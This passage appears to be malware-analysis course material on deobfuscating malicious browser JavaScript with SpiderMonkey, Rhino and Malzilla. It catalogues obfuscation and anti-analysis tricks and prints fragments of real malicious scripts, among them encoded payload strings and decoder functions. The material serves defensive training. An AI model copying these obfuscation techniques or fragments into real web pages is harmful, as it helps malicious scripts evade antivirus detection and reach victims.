The first example shows a create of an object called "document". In this object we created two methods, `write` and `writeln` that are mapped to the function `print()`. This will cause any calls to the `document.write()` or `document.writeln()` methods to have input parameters printed out on the screen. In other words, we can now use SpiderMonkey even if the malicious script calls "document.write" without having to change any code within the script itself.

The `eval()` function defined by SpiderMonkey evaluates contents of a variable as if they were a script. In the second example, we redefined `eval()`, so instead of executing the variable's contents, it simply prints out its the contents.

An important thing to stress out here is that attackers can use the same method to overwrite any other object. For example, they can overwrite the object `print()` so instead of printing something on the screen, it will execute their code. Example of such attacks have been spotted in the wild.
The REMnux Linux distribution includes a file that defines several common objects, methods, and functions that malicious web pages may use. The file is located in /usr/local/etc/web-obj.js. To use it directly, you can supply it as a parameter to SpiderMonkey, so its definitions get loaded before the malicious script like this:

```bash
$ js -f /usr/local/etc/web-obj.js -f malware.js > output-malware.js
```

The file provides a good syntax reference for how you can define your own objects based on the unique nature of some obfuscated scripts you may encounter. If you need to expand or customize this file for a particular specimen, copy the file to a local directory, and revise it as necessary.

The web-obj.js file is also on your course DVD in the \WebAnalysis folder.

An alternative to this web-obj.js file is the pre.js file that comes as part of the Jsunpack-n tool, which we'll discuss later in this section. You can use pre.js in place of web-obj.js for situations where web-obj.js file doesn't work. You will find this file on REMnux in ~remnux/jsunpack-n/pre.js.
Running storm.js in SpiderMonkey
with Objects Defined

To deobfuscate storm.js using SpiderMonkey, first define the missing document.write method to print to the screen, and then execute the script on SpiderMonkey. An easy way to do this in REMux involves using the set of objects, methods, and functions defined in its /usr/local/etc/web-obj.js file:

```
$ js -f /usr/local/etc/web-obj.js -f storm.js > storm-out.js
```

The "-f" parameter specifies an input file to SpiderMonkey. The first input file we supplied was the one that defines common JavaScript objects, methods, and functions. The second file is the malicious file we wish to deobfuscate.

In anticipation of the output scrolling past our screen, we redirected the command's output to the file storm-out.js, which you can then view using ScieTE. Note that in this example, the output file starts with lots of blank lines; however, if you scroll past them, you will see the deobfuscated script.
Didier Stevens customized the standard SpiderMonkey distribution to automatically define several common browser objects, methods and functions:

- `document.write` - prints to screen
- `eval` - writes to log file
- `window.navigate` - writes to log file

If the script you're deobfuscating is using these common objects, you don't need to define your own manually. Simply execute Didier's SpiderMonkey and look at the output and at the log files it generates in the current directory.

This custom version of SpiderMonkey is installed on REMux. You can invoke it on REMux using the `js-didier` command:

```bash
$ js-didier -f storm.js
```

This command will produce a file called `write.log`, which will contain the deobfuscated script.

You can download Didier's SpiderMonkey from:

http://blog.didierstevens.com/programs/spidermonkey/
Rhino is an open source standalone JavaScript debugger. It uses the SpiderMonkey engine, so all features (and vulnerabilities!) that affect SpiderMonkey also affect Rhino. Rhino is completely written in Java, so it is a cross-platform program that can be used on Windows as well as on Linux. In order to use Rhino, you will have to have Java Runtime Environment (JRE) installed.

Rhino has only basic functionality: it can set breakpoints by lines and can monitor and evaluate variables.

Rhino is installed on the REMnux Linux distribution. You can run it by using the rhino-debugger command. You can also download its source code from http://www.mozilla.org/rhino.
Preparing the Script for Rhino

- Standalone script debuggers understand only the script code
  - HTML code has to be stripped out
- Add newlines in anticipation of breakpoints
  - Beware of self protecting code
- May need to define script objects

Before we use a standalone debugger such as Rhino, we have to prepare the script file for the analysis. Just like SpiderMonkey, Rhino cannot handle HTML code, so you'll need to strip out all HTML tags, so that you are left with pure JavaScript.

Attackers typically create unreadable code to make analysis more difficult. They strip all white space (tabs, spaces, newline markers). Most script debuggers can set breakpoints only by lines, so before the analysis, we also need to make the code at least a little bit more readable by splitting it into lines, so we can set breakpoints properly.

As we will see later, there are ways that allow JavaScript to determine if the function's body has been changed. Such code must not be modified (even by a simple change such as adding a newline marker), as it typically breaks the function. We will later see how to deobfuscate such functions.

Lastly, just like with SpiderMonkey, you may need to define JavaScript objects, methods and functions if the script uses the objects that are defined by the web browser and are not available within Rhino. Since Rhino accepts only a single file as input, you will need to merge the file that defines your objects with the malicious script file prior to debugging the script.
Adding a Newline to Anticipate a Breakpoint

In anticipation of setting the breakpoint on the `document.write` call, edit the script by adding a newline in front of this instruction, so it is on a line by itself. You can edit the file on REMunix using SciTE, which you can invoke via the `notepad` command.

Don't forget to save the edited `storm.js` file.
Deobfuscating storm.js with Rhino

To begin debugging the Storm script with Rhino, you can launch Rhino on REMux by using “rhino-debugger storm.js &”. Remember, we're debugging the script we just modified by adding a newline marker in front of the command where we'll want to set a breakpoint (document.write).

You can now visually locate the line where you wish to set the breakpoint, right-click there, and select “Set Breakpoint. Next, click “Go” to execute the script within Rhino.

If we didn't add the newline in front of document.write, lots of code would be on one line. If we set a breakpoint there, Rhino would stop there an instruction associated with that line of code got executed. Therefore, we would have to manually step through the deobfuscation function. This can be a lengthy process, especially when the deobfuscation functions contain many loops.
After Rhino hits the breakpoint and stops execution, we can inspect the `xored_str` variable. To do this, double-click on the cell immediately below the “Expression” label, type the variable’s name there and hit Enter. Rhino will populate the corresponding “Value” cell to the right of the cell that you just edited with contents of the variable. On these screenshot, the contents are displayed starting with “...”.

Click on the cell that contains the variable’s contents, and press Ctrl+C to copy it to the clipboard. (Note that the Edit > Copy menu option on Rhino doesn’t seem to work reliably, so avoid using it.)

You can now paste the variable’s contents into a text editor such as SciTE. (You can launch it on REMnux from the command shell by typing `notepad`.)

147
The deobfuscated script contains additional JavaScript that, once executed by the victim's browser, will attempt to exploit an Internet Explorer vulnerability to download and execute a malicious program.

Note that when you paste cell contents after copying them from Rhino, the resulting text will include the name of the variable you were examining (in this case, it is "sored_str"). This variable name, located in the very beginning of the text you pasted, is not actually part of the deobfuscated script, and should be removed.
The Malzilla Script Analysis Tool

- Specialized malware analysis tool
- Uses SpiderMonkey engine
- Runs and deobfuscates scripts
- Includes miscellaneous decoders and other handy utilities

Malzilla is a specialized malware analysis tool written by Boban Spasic. It is an open source tool, but as it is written in Pascal, currently only a port for Windows is available. You will find Malzilla on the DVD you received for this course. Malzilla can be downloaded from http://malzilla.sourceforge.net/

Being a specialized tool for malware analysis, Malzilla has a lot of features implemented that aim to defeat obfuscation techniques. Malzilla allows direct download of HTML files and includes the SpiderMonkey engine from Mozilla. The SpiderMonkey engine is used by the built-in decoder in Malzilla that can automatically decode/deobfuscate JavaScript. All a user needs to do is download the malicious file, send it to the decoder, and click on the "Run script" button. Malzilla will execute JavaScript and trap any output, which will be displayed in a separate window. Malzilla will also detect if the decoded script is another JavaScript file (which will be either multiple layers of obfuscation or the final exploit).

Besides automatic JavaScript execution and decoding, Malzilla has miscellaneous decoders that can deal with simple obfuscation methods. These decoders can help deobfuscate encoded strings present not only in JavaScript, but even in VBScript. Further, Malzilla's hexadecimal viewer allows easy inspection of binary data and conversion to/from Unicode.

The automatic link parser is another useful built-in tool. When deobfuscating malicious files with the automatic decoder, Malzilla's link parser will detect all URLs that have been output by the script and will log them in the appropriate tab. This allows easy inspection of the results when you are only interested in the final links and not in the exploit.

A word of caution though. As Malzilla uses Mozilla's SpiderMonkey JavaScript engine, it is susceptible to any vulnerabilities in this engine. While these vulnerabilities in the stand-alone engine have been very rare so far (they are much higher risk when run in a browser), they shouldn't be ignored, especially if you are running Malzilla on a Windows operating system.
To deobfuscate a script (storm.js in our example) using Malzilla, click on the Decoder tab in Malzilla, then right-click in the top empty frame and select "Load from File". This will allow you to load the malicious script file into Malzilla. Then, click the "Run script" button. Malzilla will run the script (after defining some common JavaScript objects when necessary) and will place the deobfuscated script in the bottom frame.

Before trying to deobfuscate this file we must remove any HTML tags since Malzilla does not know how to interpret them. However, after removing HTML tags and running the script we can see in the bottom frame that only a part of the script has been deobfuscated.
Deobfuscated Storm Script

After you click the “Run script” button, Malzilla places the deobfuscated version of the malicious script in the bottom frame.

Sometimes you encounter multiple layers of obfuscation, where the first deobfuscated script needs to be deobfuscated as well. In this case, you can copy it from Malzilla’s lower pane, open another Malzilla tab (Ctrl+T), paste the script there, and click “Run script” again.
What We've Learned So Far

- Web malware is obfuscated to make analysis more difficult
- Several tools can assist us:
  - SpiderMonkey for quick, partly-automated analysis
  - Rhino for interactive analysis
  - Malzilla if working on Windows

It's time to review what we've learned so far in this section of the course. We began with an overview of various Anti-Deobfuscation techniques that are used in the wild today. The attackers use a variety of obfuscation techniques not only to evade anti-virus detection but also to make analysis more difficult. JavaScript and VBScript can both be used to obfuscate exploits.

In order to analyze and deobfuscate malicious JavaScript and VBScript files, we typically use debuggers or stand alone malware analysis tools. There are multiple choices for a researcher, so use the tool that can get the job done and with which you are familiar with:

- SpiderMonkey is a standalone JavaScript interpreter that can be called from the command line under Linux. It is great for quick, partly- and sometimes even fully-automated analysis when you are not interested in the obfuscation techniques, but just the result. SpiderMonkey uses Mozilla's JavaScript engine.

- Rhino is a standalone JavaScript debugger that uses Mozilla's JavaScript engine as well. It is a graphical tool written in Java, so it can be used on most OS platforms. Its debugging features are basic, but it can be used to interactively debug malicious JavaScript files and step through them.

- Malzilla is a specialized analysis tool for examining malicious JavaScript files. It has an automatic deobfuscator, which is using SpiderMonkey as the JavaScript interpreter. It also has a variety of built in decoders that can speed-up the deobfuscation process considerably. If you are working on Windows, Malzilla is a great choice and an easy-to-use tool.
FOR610.4 Roadmap

... done with 1st half of FOR610.4

- Essential Web Analysis Skills
- Anti-Deobfuscation
- Microsoft Tools
- Additional Automation
- Hands-On Exercises

2nd half of FOR610.4

Our next module focuses on the defenses frequently incorporated by malware authors into malicious browser scripts.
Defeating Anti-Deobfuscation

Now that we are familiar with the essential skills and tools for analyzing web-based malware, let's take a look at some more insidious examples. The scripts we are about to analyze employ more sophisticated obfuscation methods than what we have seen in this section so far.
Complicating Script Obfuscation

- Evade anti-virus detection and make analysis more difficult
- Multiple layers of obfuscation
- Various data encodings
- Other creative anti-deobfuscation techniques

Again, the two main reasons for Anti-Deobfuscation are to evade anti-virus detection and to make the analysis more complicated. Since many anti-virus applications today are still based on signature detection, heavy obfuscation of malicious scripts makes sense for attackers, as it is making signature detection more complicated, if not impossible.

Similarly to packed binaries, the attackers use multiple layers to make analysis and detection more difficult. With multiple layer obfuscation, a layer is typically executed after another, and different obfuscation techniques are used for every obfuscation layer.

You may recall that in JavaScript, there are two common ways to execute the next layer: by calling the `document.write` method, which will cause the browser to interpret the output as new content or by calling the `eval` method. The `eval` method is a top-level function, so it is not associated with any object. The input string to the `eval` method contains JavaScript code that will be executed in the context of the calling function.

Other anti-deobfuscation techniques include the use of various data encodings, the use of extraneous HTML tags, splitting the script into numerous components, referencing browser objects to detect execution outside the browser, and others.
Defensive Technique: Encoding

- Various ways to encode data
  - \( A = \backslash 65 = \backslash \text{x41} = \&\text{41} = \%\text{u0041} = \backslash \text{u0041} \ldots \)

- Example: URL Encoding
  - In JavaScript, `escape()` converts a string to its URL-friendly form
  - Get the string back with `unescape()`

We will start with simple obfuscation techniques that are based on encoding. Although these techniques are simple to decode, attackers still use them regularly, especially with other, more advanced, obfuscation techniques. Encoding is typically used as another layer of obfuscation.

Although the source code of browser scripts is distributed in plain text, there are still many ways of representing the same text by utilizing various encoding techniques. For example, the "A" character can be represented as its decimal or hexadecimal value, and when we add Unicode into the game, we can see that there are numerous ways of representing a single character. The browser will parse all this properly and will execute the code without any problems, but we can see how this can potentially present a problem for an anti-virus program that is basing detection on a signature.

Besides standard character encoding, JavaScript also implements URL encoding/decoding functions such as `escape()` and `unescape()`. These functions allow a string to be converted to the URL-encoded form that is suitable for transmission. The attackers use these functions to make the code less readable. (These functions are Unicode-aware.)

The `escape()` function returns a URL-encoded version of the string, while the `unescape()` function converts it back to plain text. For example:

- `escape("SANS REM")` returns "SANS%20REM"
- `unescape("SANS%20REM")` returns "SANS REM"

The main reason for this conversion is to encode all non-ASCII characters, spaces, punctuation and similar characters that are not allowed in URIs.
Decoding `unescape()` with a Regular Expression (1)

Let's take a look at one example where the `unescape` function is used as one obfuscation layer. This script is on your course DVD in the `\Malware\day4\unescape.zip` file. It's also on your REMnux virtual machine in `~remnux/malware/day4/unescape.zip`.

We will start by decoding the obfuscated text using a regular expression. Later, we'll look at how to use Malzilla to accomplish this as well.

First, you need to examine the obfuscated script using a text editor—such as SciTE, which you can invoke on REMnux using the `notepad` command. The script passes the obfuscated string ("%3c%53%43%42%49...") as a parameter to the `unescape` function. Take this string and copy it into a brand new file.
Decoding `unescape()` with a
Regular Expression (2)

In this example, we saved the string into a file titled `unescape-string.txt`. We can parse that file using a Perl regular expression. The regular expression, which we need to craft, would need to convert the hexadecimal encoding of the protected text into ASCII. Later in the course we'll discuss how regular expressions work and how you can create them to suit your needs. Here's a preview:

```perl
perl -pe 's/%(.+)/chr(hex($1))/ge'
```

As you will see later, we are using Perl to locate patterns in the encoded text and replace the matched characters with their decoded versions.

- **s** — Substitute
- **% (.+)** — Take two characters after a `%` character and save them into a variable called `$1`
- **chr(hex($1))** — Take the last match ($1), call the `hex()` function on it and then the `chr()` function. The `hex()` function interprets the input as a hex string and returns the corresponding decimal value. The `chr()` function then returns the character represented by the number that was in the input field. This will result in a conversion back to the ASCII character.
- **ge** — Repeat this for any such matches in the parsed text

In this example, we saved the output of the Perl command into a file called `decoded-string.txt`. As you can see on this slide, the decoded text is protected with another layer of obfuscation.
Decoding unescape() with SpiderMonkey

Remove HTML from the file and run it with SpiderMonkey

Another way to deobfuscate the encoded text is to run the protected script using SpiderMonkey and look at its output. Before you do this, remember to remove all HTML code from the file, since SpiderMonkey can only handle JavaScript code.

Also, since the script makes use of `document.write`, you'll need to define this method. An easy way to do this on REMnux is to simply supply `/usr/local/etc/web-obj.js` file as one of the parameters to SpiderMonkey, which you could invoke like this:

```
$ js -f /usr/local/etc/web-obj.js -f unescape.html > unescape-out.html
```

In this example, we removed HTML tags from unescape.html and saved the result under the same file name. We supplied this file as input to SpiderMonkey, and specified that the output should be saved into the unescape-out.html file.
Decoding `unescape()` with Malzilla: Option 1

Similarly, you can decode the text by running the obfuscated file in Mozilla. To do this, you would load the file into Malzilla's Decoder tab, then click the "Run script" button. Malzilla will show the output of the script in its lower frame.
We have another option of decoding the string in Malzilla.

Besides using the full-blown JavaScript interpreter in Malzilla, we can use the built-in decoder that can automatically decode most encoding methods. In this case, the attacker was using hexadecimal encoding to encode the string that is supplied as input argument to `unescape()`.

In order to deobfuscate this with Malzilla, we just have to paste the code into the "Misc Decoders" tab and press on the "Decode Hex (%)" button. Malzilla will automatically search the whole file and decode any hexadecimal encoded characters it finds.
Finishing the unescape() Script Deobfuscation (1)

- Unescaped script depends on functions from the original script
- Paste unescaped JavaScript without HTML into original file
- Replace:
  ```javascript
  document.write(unescape("%3c%53... with:
  function baffgqqgrj(rrr){var temp...
  ```

We just bypassed the first layer of obfuscation in this example. To deobfuscate the full script, we need to bypass the second layer. For this, we can use the approaches already covered in this section, such as running the script (again) in SpiderMonkey or Malzilla. However, we first need to paste the function we just decoded into the original malicious file, replacing the `document.write` command that called `unescape()` with the decoded script.

That means that you will need to replace this long command up to and including the semicolon that designates its end. (We shortened encoded contents below so they'd fit on the page).

```javascript
document.write(unescape("%3c%53%43%52%49%50%54%20%4c%41%4e%47%55%41 %47%45%3d%22%4a%61%76%61%53%72%69%70%74%22%3a%66%75%6e%63%74%69% 6f%6e%20%62%61%69%67%67%71%72%6a%28%72%72%29%7b%76%61%72%20%7 4%65%6d%70%3d%22%22%3b%20%76%61... 74%72%69%6e%67%2e%65%72%6f%6e%64%65%64%65%64%65%72%65%73%6f%64%65%64%70%61%72%7 3%65%49%6e%74%28%74%65%64%70%2c%31%36%29%2d%36%39%29%74%65%6d%70 %3d%22%22%3b%7d%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%6f%75% 74%29%3b%7d%3c%2f%53%43%52%49%50%54%3e*));
```

with:

```javascript
function baffgqqgrj(rrr){var temp=""; var ccc=0; var out="";var str=rrr;1=str.length;while(ccc<=str.length-1){while(str.charAt(ccc)=='R') temp+=str.charAt(ccc++);ccc++;out =out+String.fromCharCode(parseInt(temp,16)-69);temp="";}document.write(out);
```

Note that we eliminated all HTML tags, such as `<SCRIPT>` from the pasted code.
After saving the modified file—we used the file name "unescape2.html" in this example—you can deobfuscate it using the mechanisms we already covered in the course. You can use a script debugger such as Rhino and Firefox (in which case you would need to add a newline marker before "document.write(out)" in anticipation of the need to set a breakpoint there. Alternatively, you can used Malzilla. In the example on this slide, we ran the script through SpiderMonkey instead, saving the tool's output to a file called "unescape2-out.html".

We're not showing you contents of unescape2.html here, because the script is too long. Try this exercise on your own and answer this question: The script includes a reference to a URL; what is that URL?
A special case of encoding is 8-bit ASCII encoding. This encoding is very simple, but it results in a file that a human analyst cannot visually understand. The simply sets the highest bit in every byte of the text to 1. Browsers will ignore this and properly decode and execute the file, so this is an easy way for attackers to evade detection and complicate the analysis task.

The script in this example is on your course DVD in \Malware\day4\encoded.zip and on the REMnux virtual machine in ~remnux/malware/day4/encoded.zip.

We can use Perl regular expressions to decode such encoding. The substitute command will be slightly more complex than in the previous example, as it will need to set the highest bit of every byte to zero (to reset it):

```
perl -pe 's/(.)/chr(ord($1)&127)/ge'
```

- **s** – Substitute
- **(.)** – March every character
- **chr(ord($1)&127)** – Take the last match ($1), call the ord() function on it and perform a boolean AND operation on the result of the ord($1) all and the number 127. The number 127 has all bits set to 1 except the highest bit (in binary, it is equivalent to 01111111), so this will reset the highest bit in every byte, no matter to what it was set before. The ord() function returns a numeric value in the native 8-bit encoding. Finally, the chr() function returns the character represented by the number that was in the input field. This will result in conversion back to the standard printable ASCII character.
- **ge** – Repeat this for any such matches in the parsed text
Defensive Technique: Split the Script into Multiple Script Tags

Manually remove HTML `<script>` tags to unify the script's components.

```html
<h44="fy3V\<eB\">">h318="fp14CVCeB ... 
... SIGM1\-J")//--></script><SCRIP</p
langUage=JavaScriPtpE75("");</SCRFPT><sCRIP rT
LangUaGE=JavaScrIptpE75 ... 
... 
</SCRIPT><script langUage=javaScripE75("5"
");</SCRIPT><ScRIPt LANGuage=JavaScRIPtE7 ... 

</SCRIP
```
Defensive Technique: Unusual Syntax and Conditionals

- Use JavaScript constructs in somewhat unusual ways
- Make it harder to read JavaScript
- Attempt to evade signature-based detection

Authors of malicious browser scripts employ various conditional and notation obfuscations to make it harder to understand the code's logic. In this and the next few slides we will show couple of examples that are most commonly used and combined by the attackers. The most important thing to note is that these examples are just a way of writing code in JavaScript that is correctly parsed by the interpreter, make is hard for the human analyst to read. An added benefit of employing such obfuscation techniques is that they allow the author to create various versions of functionally-equivalent code to bypass signature-based anti-virus detection.
Assigning Array Values to Single One-Dimensional Variables (1)

- JavaScript will use only the last value from the array
- For instance, use an array to assign the value "it" to the variable "mutae"

```javascript
mutae = (9e1, 122, 33, 3e4, 25, "it");
```

The first example assigns an array to a standard variable. In the example on this slide, we see that the attacker assigned it to a standard variable called "mutae". This is a one-dimensional variable which means that it can hold a single value, not an array.

What happens in this case is that the JavaScript interpreter will simply ignore all values apart from the last one. Therefore, the value of the variable "mutae" after executing this line of code will be the string "it".

167
Assigning Array Values to Single One-Dimensional Variables (2)

```plaintext
a = (10, 22, 2e3, 4, "docu");
b = (11, 22, 1, "ment");
c = a + b;
```

Variable c now holds the string "document".

Here is another example of how arrays can be used by malicious scripts to dynamically create a string in a manner that is difficult to read. As you can see on the slide, the goal of this code snippet is to set the variable c to the string "document".
One-Line Conditionals

\[ rgvij=(0.2e1>=4e1? .9075:"i"+"f") ; \]

- Is 0.2e1 (=2) greater than or equal to 4e1 (=40)?
- If yes, assign .9075 to variable rgvij
- If no, assign the result of "i"+"f" to variable rgvij (="if")

One-line conditional statements allow a programmer to evaluate a condition without using the more common if/then/else syntax. The example on this slide shows the one-line conditional syntax supported by JavaScript. The syntax is similar for other programming languages, such as C, C++, and Java.

This slide contains an example where the attacker used a one-line conditional to assign a certain value to the variable called rgvij. The main reason why the conditional was used was to make analysis more difficult and to allow polymorphism of the malicious JavaScript code to evade antivirus detection. For example, the attacker can easily modify the numbers shown here, which will create different JavaScript code, but the end result will still be the same.

One-line conditionals support the evaluation of arithmetic questions. The question (i.e., the condition that’s being evaluated) is posed as the first statement within parenthesis. The alternatives are presented after the question mark and are separated by a colon:

Condition: 0.2e1>=4e1
Value to return if condition is true: .9075
Value to return if condition is false: "i"+"f"

So the conditional showed on the slide can be read like this: Is 0.2e1 (which equals 2) greater than or equal 4e1 (which equals 40)? If yes, the part before the colon is assigned to the variable rgvij. Otherwise, the part after the colon is assigned to the variable rgvij. Since 2 is not greater than or equal to 40, the variable rgvij will hold the string "if" in this example.
Array Notation to Reference Objects and Methods

- Array notation can be used to reference objects
  ```javascript
document["write"]("text to print");
  ```
- This allows for tricky obfuscation
  ```javascript
  a = document;
b = "write";
c = "text to print";
a[b](c);
  ```

Finally, JavaScript allows array notations to be used to reference objects and methods. So, instead of using the traditional `document.write` call, the attacker can call this method by using the array notation as shown in the slide.

This can be further obfuscated by assigning each object or array representation to a different variable and calling the final method by using variables, instead of original names. This makes analysis much more difficult and allows for great polymorphism which can help attackers evade anti-virus detection.
Regular Expressions to Help Define Object and Method Names

Variable “a” contains the script that should be executed by the malicious page (not shown here).

```
var b=window;
var xy=b['esv8asls'].replace(/([sDHt8])g/,'');
xy(a);
```

Executes script

Removes characters s, D, H, t, 8 from “esv8asls” to produce “eval”

Array notation to reference “b.eval”, which is actually “window.eval”

Here’s another way to code the malicious script in a way that makes it difficult for a human analyst to understand and for an anti-virus tool to perform signature scanning. This technique makes use of the JavaScript ability to modify strings based on regular expression matches.

The code references a string—in this case “esv8asls”—and then uses its “replace” method to replace some characters of the string according to the supplied regular expression. The expression in this example replaces all instances of characters “s”, “D”, “H”, “t” and “8” with blank strings. This has the effect of mutating the “esv8asls” string into the string “eval”.

Note that this script excerpt also makes use of the technique we covered on the previous slide, using array notation to refer to objects and methods. In this example, b[eval] is the same as b.eval.

Since “b” was earlier defined as the object “window”, the variable “xy” becomes a reference to “window.eval”. This a way to execute a script, similar to how you would do it with a standalone “eval” function. As the result, the malicious page is able to execute the script stored in the variable “a” using the command “xy(a)”.

The /usr/local/etc/web-objs file on REMnux defines window.eval as follows:

```
window = {
    eval: function(input string) {
        print(input_string);
    },
}```
One-Line Conditionals and Arrays in One Example (1)

```
aaa=((0x4435,7.)>=0.61,9.12e2)?(1,4.033e3)
   :(266,7.1e1)),((0x97<=177.616e3:2.176e3),
   (0.39<8e0?"doc"+"u"+"ment":2032)));
```

- An array assigned to a variable, so only the last one is used
- Carefully read and evaluate conditionals

Let's see how conditionals and arrays assigned to a variable can be used in a single, more complex example.

We can see on this slide that a complex evaluation is assigned to the variable `aaa`. Multiple values (an array) are assigned to this variable—we can see that because the values are separated by comma and parenthesis. Further, we can see that the variable evaluation string contains multiple conditionals, since the results are divided by the colon.

Let's break this down to make it more readable.
One-Line Conditionals and Arrays in One Example (2)

```javascript
aaa = {
    (0x4435, 7.) >= (.61, 9.12e2) ? (1,4.033e3) : (266, 7.1e1),
    {
        (0x97 <= .1?7.616e3:2.176e3),
        (.39<8e0?"doc"+"u"+"ment":2032)
    }
};
```

After breaking the evaluation statement down it becomes much more readable.

The original evaluation statement contains an array whose elements are also arrays. The top-level array has two elements:

1. `(0x4435, 7.) >= (.61, 9.12e2) ? (1,4.033e3) : (266, 7.1e1)`
2. `(0x97 <= .1?7.616e3:2.176e3), (.39<8e0?"doc"+"u"+"ment":2032)`

Only the last element of the array is taken into consideration by JavaScript, so we can immediately discard the first list. The second array can be further divided to this two-element array:

1. `0x97 <= .1?7.616e3:2.176e3`
2. `.39<8e0?"doc"+"u"+"ment":2032`

Again, the first element is ignored, so we just have the final element, which is a one-line conditional:

```
.39<8e0?"doc"+"u"+"ment":2032
```

Which says: Is 0.39 less than 8? If yes, the results is `"doc"+"u"+"ment"`, otherwise the result is 2032.

As the result, the variable `aaa` will hold the string `"document"`. 
Internet Explorer Conditional Compilation Statements

Activates conditional compilation support

```javascript
/*@cc_on @*/
/*@if (@_win32)
  var s = "=t$d$q= u$=q>f\ufyu0kbwbt$d$q= !tsd>\iu$=;00:6" + 
    "/23:/255/33:0tubut0tubut/kt?=0t$d$q=\n";
  var result = "";
  for(var i=0;i<s.length;i++)
    result+=String.fromCharCode(s.charCodeAt(i)-1);
  document.write(result);
/*@end @*/
```

The script executes only on Win32

Internet Explorer supports conditional compilation statements that the web page to compile execute different scripts, depending on the browser's environment. For instance, these statements allow a script to determine what JavaScript engine version or what OS it's running on.

The conditional statements are typically included within JavaScript comment markers, and follow the following syntax according to Microsoft's documentation (http://msdn.microsoft.com/en-us/library/7kx0qet1%28v=vs.80%29.aspx):

```javascript
/*@cc_on @*/
/*@if (@_javascript_version >= 5)
  document.write("JScript Version 5.0 or better.<BR>");
@else @*/
  document.write("You need a more recent script engine.<BR>"),
/*@end @*/
```

In the malicious example on this slide, the script running within Internet Explorer can perform different actions depending on whether it's running on a Win32 platform. Specifically, the commands within the conditional statement will only be executed if the browser is running on a Win32 platform.

This example was documented by Marco Cova at:

174
More Defensive Techniques: External Dependencies

- Depending on or adding HTML elements of the web page
- Using location or last-modified date in the deobfuscation key
- Being able to detect modifications to a function's body

Let's look at another set of anti-deobfuscation techniques. The approaches discussed in the next set of slide depend on or add elements to the page where the malicious script runs. For example, a script can check the URL where it's running, or even validate whether one of its functions has been modified by the analyst. Such techniques can slow down and complicate the analysis process.
Assembling JavaScript on the Fly by Referencing HTML Elements

```html
<input type='hidden' id='VVJ5mk' value='a7%be%etbd%b4%bb%bf%8b%d7%c%e9%d2%e0%cc%d2%0%a8%d5%cc%e1%cc%de%e0%dd%d4
...
<script>
...
var XNHQL=document.getElementById('VVJ5mk').value;
```

The script won't run if you simply remove all HTML contents.

Several script deobfuscation tools we use can only handle pure JavaScript, and require that the analyst remove HTML tags before they can process the malicious script. However, scripts can rely on HTML components for execution. The example on this slide uses a JavaScript method `getElementById` to retrieve the value of an HTML element that is called “VVJ5mk” in this example. That HTML element is defined earlier in the page as a hidden “input” tag that contains obfuscated data. If we simply remove all HTML tags from the page prior to the analysis, we would also remove this vital script component. As a result, the script will not deobfuscate properly.

Modern browsers can let JavaScript retrieve the value of an HTML tag even without using `getElementById`. Consider this HTML snippet from a sample malicious web page:

```html
<div id='malicious' value='value'>contents</div>
```

A script could obtain “value” of the HTML element with id “malicious” without using `getElementById` by simply saying:

```javascript
var data = malicious;
```

When faced with these situations, you may need to manually extract the relevant HTML elements from the page and define them as objects within the malicious script prior to attempting to deobfuscate it.
Adding HTML Elements on the Fly to the Malicious Page

- Use `createElement` and `appendChild` to add HTML elements
- It's another way to execute scripts

```javascript
var PULksjC=document.createElement("script");
PULksjC.type="text/javascript";
PULksjC.text=AV1WGTrj;
document.body.appendChild(PULksjC);
```

JavaScript in modern browser can modify the page on the fly to cause further script elements to be added to the page even after the page was loaded by the browser. The `appendChild` method makes it easy to do this, and provides another alternative to executing malicious scripts, in addition to `document.write` and `eval` approaches we've observed earlier.

In the excerpt from a malicious page shown on this slide, a call to `document.createElement` defines a new "script" element on the page. Its type is then set as "text/javascript" and the text property of the element is populated with the decoded malicious JavaScript that was earlier placed in the "AV1WGTrj" variable.

Once the element is properly defined, the script appends the element to the current HTML page by using the `document.body.appendChild` method. This way, the script does not have to call the `document.write` or `eval` methods execute the decoded script, because the browser will do that automatically after the new script element has been appended to the page.

The `/usr/local/etc/web-obj.js` file on REMnux defines `createElement` and `appendChild` methods to support such anti-deobfuscation techniques.

If you wish to experiment with this technique, you will find this example on your course DVD in \MALWARE\day4\append.zip and on your REMnux virtual machine in -remnux/malware/day4/append.zip. This script was analyzed by Andrew Martin, as he documented in his blog at:
Referencing the Last-Modified Date of HTTP Headers (1)

```javascript
acghiw=document;
befkly=acghiw.lastModified;
copvwx=new Date(befkly).toUTCString();
copvwx=copvwx.split(" ");
bzpqdv=copvwx[4].split(":")
```

Need to set `document.lastModified` to actual contents of Last-Modified HTTP header of the live web server.

One of the ways in which authors of malicious scripts can significantly complicate our analysis efforts involves using some aspect of their runtime environment as part of the key to deobfuscate the script. The example on this slide shows a technique that makes use of the Last-Modified field from HTTP response headers as part of the deobfuscation key. The Last-Modified header is supplied by the server and shows the date and time when the file requested by the browser has been last modified.

A script can retrieve contents of the Last-Modified header using `document.lastModified`. The tricky part is that this field is only available in the HTTP response, and is not available when the local copy of the page is being examined. This highlights the need to save all aspects of the malicious page: not just its HTML contents, but full HTTP request and response headers—just in case they will come in handy during the analysis.

To properly deobfuscate a script protected using the Last-Modified approach, you need to know the proper date and time to save, as a string, into `document.lastModified`.

This example is based on the sample that was shared and discussed on:
The malicious script in this example is available on your course DVD in `Malware\day4\modified.zip` and on your REMnux virtual machine in `-remnux/malware/day4/modified.zip`.

As you can see on this slide, running the malicious script in SpiderMonkey even with the standard web-obj.js file that's available on REMnux produces a JavaScript error. If you look closely at the malicious script (see previous slide), you will see that the error occurs because `document.lastModified` isn't set. To set it, copy the `/usr/local/etc/web-obj.js` file to a local directory, then edit it to set the `document.lastModified` value.

In this example, the value should be set to "Fri, 12 Dec 2008 11:11:40 GMT", because that was the value in the Last-Modified HTTP response header that was recorded during the incident. You can set it using the following syntax:

```javascript
document = { lastModified: "Fri, 12 Dec 2008 11:11:40 GMT" }
```

As an alternative, you could have edited the malicious script directly to hard-code the value into the appropriate variable like this:

```javascript
befkly="Fri, 12 Dec 2008 11:11:40 GMT"
```

However, editing the script directly might trigger another defensive mechanism that tracks when the script's functions have been modified. That's why we prefer defining objects outside of the malicious script's code.

If you set `document.lastModified` to an incorrect value, the malicious script would still run, but would produce incorrect output.
Referencing the Location of the Malicious Page

- A script can reference its location (URL) in several ways
- The location could be used as part of the deobfuscation key
- You may need to define these objects

<table>
<thead>
<tr>
<th>location</th>
<th>location.href</th>
</tr>
</thead>
<tbody>
<tr>
<td>document.location</td>
<td>document.location.href</td>
</tr>
<tr>
<td>window.location</td>
<td>window.location.href</td>
</tr>
</tbody>
